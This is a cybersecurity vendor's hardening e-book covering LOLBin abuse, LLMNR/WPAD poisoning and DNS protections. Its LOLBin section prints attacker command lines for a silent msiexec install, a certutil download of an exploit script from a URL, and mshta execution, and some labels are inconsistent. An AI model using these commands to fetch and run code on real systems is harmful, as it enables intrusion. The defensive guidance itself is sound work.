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About Kratikal
One of the top cybersecurity firms, Kratikal is renowned 
for its cutting-edge security solutions. It offers a 
comprehensive selection of penetration testing, 
vulnerability assessment services and security 
auditing for PCI DSS, HIPAA, GDPR, and ISO 27001. It is 
the trusted partner for enterprises and individuals, 
seeking to protect their brand, business, and dignity 
from baffling cyber attacks. We have been involved in 
designing and implementing information security 
management systems since the industry adopted the 
time standards. Kratikal is designed to provide the 
assistance needed to improve your company's cyber 
security posture. We provide a one-stop service for all 
your cyber security requirements.
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Introduction
Recent cyber incidents have shown an increase in 
insider threats. It was leading to massive data 
breaches and supply chain risks. It doesn’t matter if it is 
a small organization or a big corporation, every attack 
has resulted in data breaches, ransomware, and 
privacy breaches. 

These insider threats and lack of proper compliance, 
we at Kratikal decided to develop guidelines to help 
organizations and their people secure their networks, 
endpoints, and infrastructure.
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Proactive Approach to Security Hardening

Who Should Read
This Guide?

People from Information Technology services, 
Compliance, and CISO would benefit from this guide. 
This guide talks about what guidelines should be 
followed based on your industry and how that would 
improve your security. This E-book also discusses what 
attacks will be stopped by implementing compliance. 
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https://kratikal.com/the-rise-and-fall-of-malicious-actors

Why This E-book
Guide?
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If you check our recently published Threat Report, we 
talked about how attackers are using commonly used 
apps and file extensions to get inside organizations. It 
is not only social engineering that is giving them 
access but the lack of compliance policy, vulnerable 
and outdated tools were also major causes of those 
attacks. Please note this e-book guide does not cover 
every hardening guide.
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Common Inbuilt
Tool Used for Attacks

In 2022,  Cybersecurity Report showed fileless attacks, 
which often utilize LOLBins, saw a 1400% increase 
compared to previous years. This data shows that 
adversaries are using new ways to avoid detection 
whether it is a web application, firewall, or endpoint 
device security.
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That’s why these living off-the-land binaries are favorite tools for attackers and we 
have discussed some of those most commonly used binaries that have been used in 
the past.

How Do Attackers Execute it?
Command to install the target .MSI file silently.   
  
msiexec /quiet /i file.msi

What’s the use: It can be used to execute customized msi 
files with malicious code
  
Required privilege to run: User  
 
Supported OS: Windows Vista, Windows 7, Windows 8, 
Windows 8.1, Windows 10, Windows 11 

How Do Attackers Execute it?
Command that downloads & saves 7zip to the target’s 
current folder. 

Cerutil.exe -urlcache -split -f 
https://raw.githubusercontent.com/script/exploit/exploit.py 
exploit.py

What’s the use: Can download files from the web
  
Required privilege to run: User  
 
Supported OS: Windows Vista, Windows 7, Windows 8, 
Windows 8.1, Windows 10, Windows 11 

How Do Attackers Execute it?
Command that executes hidden javascript, VBscript.
 
Mshta.exe HTA-Lolbin.hta 

What’s the use: Can execute malicious code
  
Required privilege to run: User  
 
Supported OS: Windows Vista, Windows 7, Windows 8, 
Windows 8.1, Windows 10, Windows 11 

MSI is used to configure 
installer packages in 
Windows

HTA can be used to run 
HTML applications with 
scripting language

7zip is use to zip/unzip 
compress file
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Preventing LOLBin
Attacks

LOLBin 
Techniques

LOLBin
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LOLBin which is also known as Living off the land 
binary are tools that come pre-installed in Windows 
operating systems like Powershell etc. We have 
observed in our past Auditing Report these inbuilt tools 
were used to execute commands on the remote 
machine, download malware, and maintain 
persistence.



Implement Applocker
Policy

To prevent such attacks it is really important to 
implement Application Blacklisting Policy where you 
can select what specific app should run, once you 
have applied it, this should prevent any unwanted app 
from running on the endpoint system.

1. To Enable Applocker  Open the Policy Editor

      Press Windows + R, type gpmc.msc, and press  
      Enter.

2.  Choose Where to Apply

      Right-click on the group of computers you want to 
      control (like "Accounting PCs") and select "Create a 
      new policy for this group."
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3.  Find AppLocker

      Go to Computer Configuration > Windows Settings > Security Settings > 
       Application Control Policies > Applocker within the policy editor.

4.  Decide Which Apps to Allow or Block

      Right-click on the types of apps you want to control (like "Executable Rules" in this 
      case) and select "Create New Rule"
      Follow the prompts to specify which apps are blocked and list of malicious apps, 
      file hash, or any unwanted app that you do not trust (you can also select only to 
      run signed binary)

5.  Turn on AppLocker

      Right-click on Applocker and choose "Configure Rule Enforcement."
     Select "Enforce Rules" to activate your settings.

6.  Test and Adjust

      Make sure to test Applocker in audit mode to check how it works. 
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Preventing Network
Attacks

What’s an LLMNR? LLMNR stands for Local Link Multicast 
Name Resolution similar to name resolution.

The attack works like this

1. Whenever your computer doesn't get an address to 
a server/service from DNS it starts asking every 
device using multicast in the local network (LAN).

2. Now if you mistype a resource name that is not in 
the network then an attacker can send a fake 
response to that query by providing a fake server 
address that is under his/her control.

7.1:  Disable LLMNR
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3. When you try to connect with that fake server it will ask for authentication and 
that’s where you send your password in hash form which the attacker captures. 

This is why we recommend disabling this feature to prevent any credential leak. To 
disable LLMNR.
Go to Group Policy > Computer Configuration > Administrative Templates > Network 
> DNS Client. Enable the “Turn Off Multicast Name Resolution” setting by changing its 
value to “Enabled”.

Victim

Attacker

DNS server

1.Let me connect \\officefile

2.Dont know where is \\officefile

3. "Broadcasting"
who's \\officefile 5. These are my

password hash

4. It's me
( Adversary)
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If you are not on an enterprise network we recommend Disable WPAD by disabling 
WINS/NetBT name resolution setting:

Go to the network and sharing center > Select the Local Area Connection or Ethernet 
(depending on what type of connection you are on) > From the File menu, click 
Properties.

Inside the list of components > Select Internet Protocol (TCP/IP) > and then select 
Properties.

Select Advanced setting > Then choose the WINS tab > and then Select Disable 
NetBIOS over TCP/IP. 

The Web Proxy Auto Discovery in Windows is a way to find the URL of the proxy 
auto-configuration (PAC) file which instructs the browser to send traffic through the 
proxy server instead of sending it to the destination server directly. The PAC file also 
sends a query through DHCP which an attacker uses to send a spoof response similar 
to LLMNR poisoning. 

7.2:  Disable WPAD (Only if not required)
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DNS poisoing

Clients DNS server
1.Enter a
site address

2.Send fake
DNS response

3. Your browser sends
you to fake site

Real website

We recommend you enable DNS over HTTPS if there’s any attacker inside your 
network he or she can see what websites you are visiting. By enabling DoH all your 
DNS queries will be transferred through HTTPS and attackers won't be able to see what 
website you are using.

To enable DoH go to chrome://settings/security scroll down and select “Use secure 
DNS” and from the option choose Cloudflare.
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7.3:  Enable DoH

Conclusion
In this e-book, we have talked about securing your 
organization using some hardening tips. Although 
there are a lot more than this that should apply to all 
organizations to keep data secure, we recommend 
implementing proper compliance, regular audits, and 
time-to-time pentest for your organization to find how 
outsider threats get inside your organization. 

There are several Red Teaming methodologies and 
Compliance Standards to prevent cyber attacks and 
data breaches.

Author: Shaquib Izhar
Kratikal Security Research Team
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Kratikal, a premium 
cybersecurity company, 
distinguishes itself through its 
exceptional Vulnerability 
Assessment and Penetration 
Testing (VAPT) and 
Compliance Services. As a 
CERT-In empanelled auditor, 
we showcase a great brand 
reputation and a track record 
of delivering innovative 
solutions.

450+
Enterprises and 

SMEs

680k+
Threats Recorded 

in GCT x Database

100m+
Lines of Code 

Tested

8.1k+ Weeks
Pentesting 

Experience

Location:
India

Noida || Mumbai || Bengaluru

USA || UAE

VAPT Services

• Application Pentesting

• Network Pentesting

• Cloud Pentesting

• IoT Pentesting

• Secure Code Review

• Red Teaming

• Threat Modeling 

• OT Security

Our Services
Compliance Services

Standard Compliance
• ISO 27001

• SOC 2

• GDPR

• PCI DSS

• HIPAA

Regulatory Compliance
• RBI Audit (IS Audit)

• IRDAI Audit

• SEBI Audit 

• CERT-In Security Audit 

• SAR Audit 

• Information Security Audit
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